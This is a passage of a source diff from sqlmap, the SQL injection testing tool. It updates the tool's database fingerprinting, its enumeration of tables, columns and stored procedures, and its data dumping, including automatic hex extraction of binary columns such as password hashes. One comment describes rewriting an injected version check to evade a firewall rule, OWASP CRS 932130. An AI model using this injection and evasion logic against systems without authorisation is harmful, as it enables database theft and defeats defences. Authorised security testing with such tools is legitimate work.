SYBASE_TYPES.get(int(type_) if hasattr(type_, "isdigit") and type_.isdigit() else type_, type_) - table[safeSQLIdentificatorNaming(tbl, True)] = columns - kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table + if safeSQLIdentificatorNaming(conf.db) not in kb.data.cachedColumns: + kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = {} + kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns break diff --git a/plugins/dbms/sybase/fingerprint.py b/plugins/dbms/sybase/fingerprint.py index 64b66ba4268..b384a0e9646 100644 --- a/plugins/dbms/sybase/fingerprint.py +++ b/plugins/dbms/sybase/fingerprint.py @@ -106,7 +106,8 @@ def checkDbms(self): Backend.setVersion(str(result)) else: for version in xrange(12, 16): - result = inject.checkBooleanExpression("PATINDEX('%%/%d[./]%%',@@VERSION)>0" % version) + # Note: plain LIKE matches the same two shapes, without the bracket class that WAF/IPS score (e.g. OWASP CRS rule 932130) + result = inject.checkBooleanExpression("(@@VERSION LIKE '%%/%d.%%' OR @@VERSION LIKE '%%/%d/%%')" % (version, version)) if result: Backend.setVersion(str(version)) diff --git a/plugins/dbms/vertica/connector.py b/plugins/dbms/vertica/connector.py index bfce0ce645d..6809989369c 100644 --- a/plugins/dbms/vertica/connector.py +++ b/plugins/dbms/vertica/connector.py @@ -44,7 +44,7 @@ def fetchall(self): logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) return None - def execute(self, query): + def execute(self, query, commit=True): try: self.cursor.execute(query) except (vertica_python.OperationalError, vertica_python.ProgrammingError) as ex: @@ -52,8 +52,13 @@ def execute(self, query): except vertica_python.InternalError as ex: raise SqlmapConnectionException(getSafeExString(ex)) - self.connector.commit() + # commit non-SELECT (DML) here; select() commits only AFTER fetchall() because vertica_python shares one + # cursor per connection and commit() runs COMMIT through it, discarding the unfetched result set + if commit: + self.connector.commit() def select(self, query): - self.execute(query) - return self.fetchall() + self.execute(query, commit=False) + retVal = self.fetchall() + self.connector.commit() + return retVal diff --git a/plugins/generic/custom.py b/plugins/generic/custom.py index de4ef537523..cdab692375b 100644 --- a/plugins/generic/custom.py +++ b/plugins/generic/custom.py @@ -71,7 +71,7 @@ def sqlQuery(self, query): output[i] = joinValue(output[i]) return output - elif not isStackingAvailable() and not conf.direct: + elif not isStackingAvailable() and not conf.direct and not inject.getGadget(): warnMsg = "execution of non-query SQL statements is only " warnMsg += "available when stacked queries are supported" logger.warning(warnMsg) diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index 7f05d50ef38..becad0332ae 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -46,6 +46,7 @@ from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapUserQuitException +from lib.core.settings import BINARY_FIELDS_TYPE_KEYWORDS from lib.core.settings import CURRENT_DB from lib.core.settings import METADB_SUFFIX from lib.core.settings import PLUS_ONE_DBMSES @@ -70,6 +71,7 @@ def __init__(self): kb.data.cachedCounts = {} kb.data.dumpedTable = {} kb.data.cachedStatements = [] + kb.data.cachedProcedures = [] def getCurrentDb(self): infoMsg = "fetching current database" @@ -108,7 +110,7 @@ def getDbs(self): warnMsg += "names will be fetched from 'mysql' database" logger.warning(warnMsg) - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE, DBMS.SNOWFLAKE): + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE, DBMS.SNOWFLAKE, DBMS.SPANNER): warnMsg = "schema names are going to be used on %s " % Backend.getIdentifiedDbms() warnMsg += "for enumeration as the counterpart to database " warnMsg += "names on other DBMSes" @@ -299,18 +301,21 @@ def getTables(self, bruteForce=None): if condition: if not Backend.isDbms(DBMS.SQLITE): - query += " WHERE %s" % condition + query += " %s %s" % ("AND" if re.search(r"(?i)\bWHERE\b", query) else "WHERE", condition) if conf.excludeSysDbs: infoMsg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in self.excludeDbsList)) logger.info(infoMsg) - query += " IN (%s)" % ','.join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs) if db not in self.excludeDbsList) + query += " IN (%s)" % ','.join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs) if unsafeSQLIdentificatorNaming(db) not in self.excludeDbsList) else: query += " IN (%s)" % ','.join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs)) if len(dbs) < 2 and ("%s," % condition) in query: query = query.replace("%s," % condition, "", 1) + if Backend.isDbms(DBMS.SPANNER): + query = query.replace("IN ('default')", "IN ('')") + if query: values = inject.getValue(query, blind=False, time=False) @@ -330,7 +335,7 @@ def getTables(self, bruteForce=None): if conf.getComments: _ = queries[Backend.getIdentifiedDbms()].table_comment if hasattr(_, "query"): - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.HANA): query = _.query % (unsafeSQLIdentificatorNaming(db.upper()), unsafeSQLIdentificatorNaming(table.upper())) else: query = _.query % (unsafeSQLIdentificatorNaming(db), unsafeSQLIdentificatorNaming(table)) @@ -353,7 +358,7 @@ def getTables(self, bruteForce=None): if not kb.data.cachedTables and isInferenceAvailable() and not conf.direct: for db in dbs: - if conf.excludeSysDbs and db in self.excludeDbsList: + if conf.excludeSysDbs and unsafeSQLIdentificatorNaming(db) in self.excludeDbsList: infoMsg = "skipping system database '%s'" % unsafeSQLIdentificatorNaming(db) logger.info(infoMsg) continue @@ -371,7 +376,9 @@ def getTables(self, bruteForce=None): infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(db) logger.info(infoMsg) - if Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB): + if Backend.getIdentifiedDbms() in (DBMS.SPANNER,): + query = _count % (unsafeSQLIdentificatorNaming(db), unsafeSQLIdentificatorNaming(db)) + elif Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB): query = _count % unsafeSQLIdentificatorNaming(db) else: query = _count @@ -395,24 +402,40 @@ def getTables(self, bruteForce=None): plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES indexRange = getLimitRange(count, plusOne=plusOne) - for index in indexRange: - if Backend.isDbms(DBMS.SYBASE): - query = _query % (db, (kb.data.cachedTables[-1] if kb.data.cachedTables else " ")) - elif Backend.getIdentifiedDbms() in (DBMS.MAXDB, DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB): - query = _query % (kb.data.cachedTables[-1] if kb.data.cachedTables else " ") - elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD): - query = _query % index - elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.INFORMIX, DBMS.FRONTBASE, DBMS.VIRTUOSO): - query = _query % (index, unsafeSQLIdentificatorNaming(db)) - else: - query = _query % (unsafeSQLIdentificatorNaming(db), index) + # Value-parallel, prediction-assisted name enumeration for the DBMSes using the + # generic ", " blind template. Retrieves whole names concurrently (one per + # worker, each decoded sequentially so wordlist prediction applies). Used with '--threads' + # and under '--eta' (one whole-job bar/ETA) per valueParallelEligible(); plain single-thread + # stays on the classic getValue loop, which still gets predictive inference via getPartRun. + # The special templates stay serial. + genericTemplate = Backend.getIdentifiedDbms() not in (DBMS.SYBASE, DBMS.MAXDB, DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB, DBMS.SQLITE, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.INFORMIX, DBMS.FRONTBASE, DBMS.VIRTUOSO, DBMS.SPANNER) + + if genericTemplate and inject.valueParallelEligible(): + for table in (inject._threadedInferenceValues(lambda index: _query % (unsafeSQLIdentificatorNaming(db), index), indexRange, context="Tables") or []): + if not isNoneValue(table): + kb.hintValue = table + tables.append(safeSQLIdentificatorNaming(table, True)) + else: + for index in indexRange: + if Backend.isDbms(DBMS.SYBASE): + query = _query % (db, (tables[-1] if tables else " ")) + elif Backend.getIdentifiedDbms() in (DBMS.MAXDB, DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB): + query = _query % (tables[-1] if tables else " ") + elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD): + query = _query % index + elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.INFORMIX, DBMS.FRONTBASE, DBMS.VIRTUOSO): + query = _query % (index, unsafeSQLIdentificatorNaming(db)) + elif Backend.getIdentifiedDbms() in (DBMS.SPANNER,): + query = _query % (unsafeSQLIdentificatorNaming(db), unsafeSQLIdentificatorNaming(db), index) + else: + query = _query % (unsafeSQLIdentificatorNaming(db), index) - table = unArrayizeValue(inject.getValue(query, union=False, error=False)) + table = unArrayizeValue(inject.getValue(query, union=False, error=False)) - if not isNoneValue(table): - kb.hintValue = table - table = safeSQLIdentificatorNaming(table, True) - tables.append(table) + if not isNoneValue(table): + kb.hintValue = table + table = safeSQLIdentificatorNaming(table, True) + tables.append(table) if tables: kb.data.cachedTables[db] = tables @@ -421,7 +444,7 @@ def getTables(self, bruteForce=None): for table in tables: _ = queries[Backend.getIdentifiedDbms()].table_comment if hasattr(_, "query"): - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.HANA): query = _.query % (unsafeSQLIdentificatorNaming(db.upper()), unsafeSQLIdentificatorNaming(table.upper())) else: query = _.query % (unsafeSQLIdentificatorNaming(db), unsafeSQLIdentificatorNaming(table)) @@ -628,13 +651,16 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod if Backend.isDbms(DBMS.MYSQL) and Backend.isFork(FORK.DRIZZLE): query = re.sub("column_type", "data_type", query, flags=re.I) - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.SNOWFLAKE): + elif Backend.isDbms(DBMS.SPANNER): + query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(conf.db)) + query += condQuery + + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.SNOWFLAKE, DBMS.HANA): query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query += condQuery elif Backend.isDbms(DBMS.MSSQL): - query = rootQuery.inband.query % (conf.db, conf.db, conf.db, conf.db, - conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1]) + query = rootQuery.inband.query % (conf.db, conf.db, conf.db, conf.db, conf.db, safeSQLIdentificatorNaming(tbl, True)) query += condQuery.replace("[DB]", conf.db) elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD): @@ -663,7 +689,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod index, values = 1, [] while True: - query = rootQuery.inband.query2 % (conf.db, unsafeSQLIdentificatorNaming(tbl), index) + query = rootQuery.inband.query2 % (conf.db, safeSQLIdentificatorNaming(tbl, True), index) value = unArrayizeValue(inject.getValue(query, blind=False, time=False)) if isNoneValue(value) or value == " ": @@ -761,18 +787,22 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL): + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.HANA): query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query += condQuery elif Backend.isDbms(DBMS.MSSQL): - query = rootQuery.blind.count % (conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1]) + query = rootQuery.blind.count % (conf.db, conf.db, safeSQLIdentificatorNaming(tbl, True)) query += condQuery.replace("[DB]", conf.db) elif Backend.isDbms(DBMS.FIREBIRD): query = rootQuery.blind.count % unsafeSQLIdentificatorNaming(tbl) query += condQuery + elif Backend.isDbms(DBMS.SPANNER): + query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl), conf.db, conf.db) + query += condQuery + elif Backend.isDbms(DBMS.INFORMIX): query = rootQuery.blind.count % (conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl)) query += condQuery @@ -808,7 +838,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod if Backend.isDbms(DBMS.MSSQL): count, index, values = 0, 1, [] while True: - query = rootQuery.blind.query3 % (conf.db, unsafeSQLIdentificatorNaming(tbl), index) + query = rootQuery.blind.query3 % (conf.db, safeSQLIdentificatorNaming(tbl, True), index) value = unArrayizeValue(inject.getValue(query, union=False, error=False)) if isNoneValue(value) or value == " ": @@ -825,7 +855,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod logger.error(errMsg) continue - for index in getLimitRange(count): + def columnNameQuery(index): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO): query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery @@ -834,13 +864,16 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query = query.replace(" ORDER BY ", "%s ORDER BY " % condQuery) field = None - elif Backend.isDbms(DBMS.MIMERSQL): + elif Backend.getIdentifiedDbms() in (DBMS.MIMERSQL, DBMS.HANA): query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query = query.replace(" ORDER BY ", "%s ORDER BY " % condQuery) field = None elif Backend.isDbms(DBMS.SNOWFLAKE): query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) field = None + elif Backend.isDbms(DBMS.SPANNER): + query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(conf.db)) + field = None elif Backend.getIdentifiedDbms() in (DBMS.MONETDB, DBMS.CLICKHOUSE): query = safeStringFormat(rootQuery.blind.query, (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db), index)) field = None @@ -849,7 +882,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod query += condQuery field = None elif Backend.isDbms(DBMS.MSSQL): - query = rootQuery.blind.query.replace("'%s'", "'%s'" % unsafeSQLIdentificatorNaming(tbl).split(".")[-1]).replace("%s", conf.db).replace("%d", str(index)) + query = rootQuery.blind.query % (conf.db, conf.db, conf.db, conf.db, safeSQLIdentificatorNaming(tbl, True), conf.db, index, conf.db, conf.db, conf.db, conf.db, safeSQLIdentificatorNaming(tbl, True), conf.db, conf.db) query += condQuery.replace("[DB]", conf.db) field = condition.replace("[DB]", conf.db) elif Backend.isDbms(DBMS.FIREBIRD): @@ -861,8 +894,24 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod query += condQuery field = condition - query = agent.limitQuery(index, query, field, field) - column = unArrayizeValue(inject.getValue(query, union=False, error=False)) + return agent.limitQuery(index, query, field, field) + + indexList = list(getLimitRange(count)) + + # Value-parallel column-NAME enumeration: the same axis/mechanism as getTables (one name per + # worker, decoded sequentially - no length probe, predictive inference applies, names stream + # live, and under '--eta' a single whole-job bar/ETA is drawn). Eligibility is shared via + # valueParallelEligible(); serial fallback only when also fetching per-column comments (those + # need an extra per-column query). + columnNames = None + if not conf.getComments and inject.valueParallelEligible(): + columnNames = inject._threadedInferenceValues(columnNameQuery, indexList, context="Columns") + + for position, index in enumerate(indexList): + if columnNames is not None: + column = unArrayizeValue(columnNames[position]) + else: + column = unArrayizeValue(inject.getValue(columnNameQuery(index), union=False, error=False)) if not isNoneValue(column): if conf.getComments: @@ -882,36 +931,60 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod warnMsg += "possible to get column comments" singleTimeWarnMessage(warnMsg) - if not onlyColNames: + # In dump mode we don't need the exact type, only whether the column is binary (so its raw + # bytes get hex-extracted instead of mangled/truncated - issues #8/#582/#2827). Rather than + # extract the whole type string char-by-char, wrap the type query into a single-bit check and + # extract just that (~10x fewer requests). Skipped where query2 doesn't yield a type name: + # MSSQL (returns the column name), Firebird/Informix (numeric type codes), and PostgreSQL + # (its bytea already renders fine, so it's excluded from auto-hexing anyway). + binaryProbe = onlyColNames and dumpMode and not Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.PGSQL, DBMS.FIREBIRD, DBMS.INFORMIX) + + if not onlyColNames or binaryProbe: + query = None if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO, DBMS.CLICKHOUSE): query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column, unsafeSQLIdentificatorNaming(conf.db)) elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL): query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl.upper()), column, unsafeSQLIdentificatorNaming(conf.db.upper())) elif Backend.isDbms(DBMS.MSSQL): - query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, column, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1]) + query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, column, conf.db, conf.db, safeSQLIdentificatorNaming(tbl, True)) elif Backend.isDbms(DBMS.FIREBIRD): query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column) elif Backend.isDbms(DBMS.INFORMIX): query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl), column) elif Backend.isDbms(DBMS.MONETDB): query = rootQuery.blind.query2 % (column, unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) + elif Backend.isDbms(DBMS.SPANNER): + query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column, unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(conf.db)) + + if binaryProbe and query: + typeMatch = re.match(r"(?is)\s*SELECT\s+(.+?)\s+FROM\s+(.+)", query) + if typeMatch: + binaryCondition = " OR ".join("UPPER(%s) LIKE '%%%s%%'" % (typeMatch.group(1), _) for _ in BINARY_FIELDS_TYPE_KEYWORDS) + query = "SELECT (CASE WHEN %s THEN 1 ELSE 0 END) FROM %s" % (binaryCondition, typeMatch.group(2)) + else: + query = None # unexpected shape - fall back to leaving the type unknown - colType = unArrayizeValue(inject.getValue(query, union=False, error=False)) - key = int(colType) if hasattr(colType, "isdigit") and colType.isdigit() else colType - - if Backend.isDbms(DBMS.FIREBIRD): - colType = FIREBIRD_TYPES.get(key, colType) - elif Backend.isDbms(DBMS.INFORMIX): - notNull = False - if isinstance(key, int) and key > 255: - key -= 256 - notNull = True - colType = INFORMIX_TYPES.get(key, colType) - if notNull: - colType = "%s NOT NULL" % colType + colType = unArrayizeValue(inject.getValue(query, union=False, error=False)) if query else None - column = safeSQLIdentificatorNaming(column) - columns[column] = colType + if binaryProbe: + column = safeSQLIdentificatorNaming(column) + columns[column] = "binary" if colType in ('1', 1) else None # sentinel matched by BINARY_FIELDS_TYPE_REGEX + else: + key = int(colType) if hasattr(colType, "isdigit") and colType.isdigit() else colType + + if Backend.isDbms(DBMS.FIREBIRD): + colType = FIREBIRD_TYPES.get(key, colType) + elif Backend.isDbms(DBMS.INFORMIX): + notNull = False + if isinstance(key, int) and key > 255: + key -= 256 + notNull = True + colType = INFORMIX_TYPES.get(key, colType) + if notNull: + colType = "%s NOT NULL" % colType + + column = safeSQLIdentificatorNaming(column) + columns[column] = colType else: column = safeSQLIdentificatorNaming(column) columns[column] = None @@ -1031,6 +1104,11 @@ def getStatements(self): rootQuery = queries[Backend.getIdentifiedDbms()].statements + if "inband" not in rootQuery and "blind" not in rootQuery: + warnMsg = "on %s it is not possible to enumerate the SQL statements" % Backend.getIdentifiedDbms() + logger.warning(warnMsg) + return kb.data.cachedStatements + if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if Backend.isDbms(DBMS.MYSQL) and Backend.isFork(FORK.DRIZZLE): query = rootQuery.inband.query2 @@ -1102,3 +1180,62 @@ def getStatements(self): kb.data.cachedStatements = [_.replace(REFLECTED_VALUE_MARKER, "") for _ in kb.data.cachedStatements] return kb.data.cachedStatements + + def getProcedures(self): + infoMsg = "fetching stored procedures" + logger.info(infoMsg) + + rootQuery = queries[Backend.getIdentifiedDbms()].procedures + + # Generic-first by design: a DBMS is supported iff it declares a query block in + # queries.xml (INFORMATION_SCHEMA.ROUTINES / pg_proc / sys.sql_modules / ALL_SOURCE / RDB$PROCEDURES). + # Engines without stored procedures (or without a declared block) fall through with a clean + # warning - same model as getStatements() (uneven coverage is the established convention). + if "inband" not in rootQuery and "blind" not in rootQuery: + warnMsg = "on %s it is not possible to enumerate the stored procedures" % Backend.getIdentifiedDbms() + logger.warning(warnMsg) + return kb.data.cachedProcedures + + if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: + query = rootQuery.inband.query + + values = inject.getValue(query, blind=False, time=False) + + if not isNoneValue(values): + kb.data.cachedProcedures = [] + for value in arrayizeValue(values): + value = (unArrayizeValue(value) or "").strip() + if not isNoneValue(value): + kb.data.cachedProcedures.append(value.strip()) + + if not kb.data.cachedProcedures and isInferenceAvailable() and not conf.direct: + infoMsg = "fetching number of stored procedures" + logger.info(infoMsg) + + count = inject.getValue(rootQuery.blind.count, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + + if count == 0: + return kb.data.cachedProcedures + elif not isNumPosStrValue(count): + errMsg = "unable to retrieve the number of stored procedures" + raise SqlmapNoneDataException(errMsg) + + # every blind query uses 0-based paging (MySQL "LIMIT %d,1", PostgreSQL/MSSQL/Oracle + # "OFFSET %d"), so the index range stays 0-based here regardless of PLUS_ONE_DBMSES (unlike + # getStatements(), whose Oracle idiom is 1-based; MSSQL is now 0-based, out of PLUS_ONE_DBMSES) + indexRange = getLimitRange(count) + + for index in indexRange: + query = rootQuery.blind.query % index + value = unArrayizeValue(inject.getValue(query, union=False, error=False)) + + if not isNoneValue(value): + kb.data.cachedProcedures.append((value or "").strip()) + + if not kb.data.cachedProcedures: + errMsg = "unable to retrieve the stored procedures" + logger.error(errMsg) + else: + kb.data.cachedProcedures = [_.replace(REFLECTED_VALUE_MARKER, "") for _ in kb.data.cachedProcedures] + + return kb.data.cachedProcedures diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index cf1e3cd94e9..19b224cf065 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -40,14 +40,19 @@ from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapUnsupportedFeatureException +from lib.core.settings import BINARY_FIELDS_TYPE_REGEX +from lib.core.settings import MYSQL_BINARY_CAST_TYPE_REGEX from lib.core.settings import CHECK_ZERO_COLUMNS_THRESHOLD from lib.core.settings import CURRENT_DB +from lib.core.settings import KEYSET_MIN_ROWS from lib.core.settings import METADB_SUFFIX from lib.core.settings import NULL from lib.core.settings import PLUS_ONE_DBMSES from lib.core.settings import UPPER_CASE_DBMSES from lib.request import inject from lib.utils.hash import attackDumpedTable +from lib.utils.keysetdump import keysetDumpTable +from lib.utils.keysetdump import resolveKeysetCursor from lib.utils.pivotdumptable import pivotDumpTable from thirdparty import six from thirdparty.six.moves import zip as _zip @@ -111,6 +116,8 @@ def dumpTable(self, foundData=None): for tbl in tblList: tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True) + binaryFields = conf.binaryFields # user-provided '--binary-fields' (auto-detected ones are added per-table) + for tbl in tblList: if kb.dumpKeyboardInterrupt: break @@ -166,6 +173,19 @@ def dumpTable(self, foundData=None): colNames = colString = ','.join(column for column in colList) rootQuery = queries[Backend.getIdentifiedDbms()].dump_table + # Auto-treat binary-typed columns (blob/varbinary/bytea/image/raw) as '--binary-fields', so their + # raw bytes (e.g. password hashes stored in binary form) are hex-extracted instead of being + # silently truncated at a NUL / mangled by the text channel (issues #8, #582, #2827). The column + # type is already known from the enumeration above, so this costs no extra request. + # (PostgreSQL excluded: its bytea already renders as readable '\xHEX' through the default text + # cast, and its hex path needs text input, so auto-hexing would double-encode.) + # MySQL BIT/spatial store raw bytes the NCHAR text-cast NULLs (unlike MSSQL/PostgreSQL 'bit', which render fine), so hex them too + autoBinary = [] if Backend.isDbms(DBMS.PGSQL) else [column for column in colList if columns.get(column) and (re.search(BINARY_FIELDS_TYPE_REGEX, getUnicode(columns[column])) or (Backend.isDbms(DBMS.MYSQL) and re.search(MYSQL_BINARY_CAST_TYPE_REGEX, getUnicode(columns[column]))))] + conf.binaryFields = (list(binaryFields) if binaryFields else []) + [_ for _ in autoBinary if not (binaryFields and _ in binaryFields)] + if autoBinary: + debugMsg = "auto-treating binary column(s) '%s' as binary fields" % ', '.join(unsafeSQLIdentificatorNaming(_) for _ in autoBinary) + logger.debug(debugMsg) + infoMsg = "fetching entries" if conf.col: infoMsg += " of column(s) '%s'" % colNames @@ -181,7 +201,54 @@ def dumpTable(self, foundData=None): entriesCount = 0 - if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: + def _dumpCountQuery(): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.SNOWFLAKE): + _ = rootQuery.blind.count % (tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper()))) + elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.MAXDB, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MCKOI, DBMS.EXTREMEDB, DBMS.RAIMA): + _ = rootQuery.blind.count % tbl + elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL): + _ = rootQuery.blind.count % ("%s.%s" % (conf.db, tbl)) if conf.db else tbl + elif Backend.isDbms(DBMS.INFORMIX): + _ = rootQuery.blind.count % (conf.db, tbl) + else: + _ = rootQuery.blind.count % (conf.db, tbl) + return agent.whereQuery(_) + + # Keyset (seek) pagination for the error/query (inband) path too, not just the blind path below. + # It fetches every cell value-anchored (MAX(col) WHERE key=K_r on a unique integer key), so the + # per-cell retrievals of one row are pinned to the SAME physical row regardless of scan order, + # threads or MVCC - unlike ORDER BY ... LIMIT/OFFSET, which silently misaligns cells once a + # stable order is unavailable. UNION is intrinsically aligned (whole-row), so it is never preempted. + keysetDone = False + if not conf.direct and not conf.noKeyset and not isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) \ + and any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)): + count = inject.getValue(_dumpCountQuery(), expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + if isNumPosStrValue(count) and (conf.keyset or int(count) >= KEYSET_MIN_ROWS): + keysetCursor = resolveKeysetCursor(tbl, colList) + if keysetCursor: + infoMsg = "using keyset (seek) pagination on column(s) '%s' " % ', '.join(keysetCursor) + infoMsg 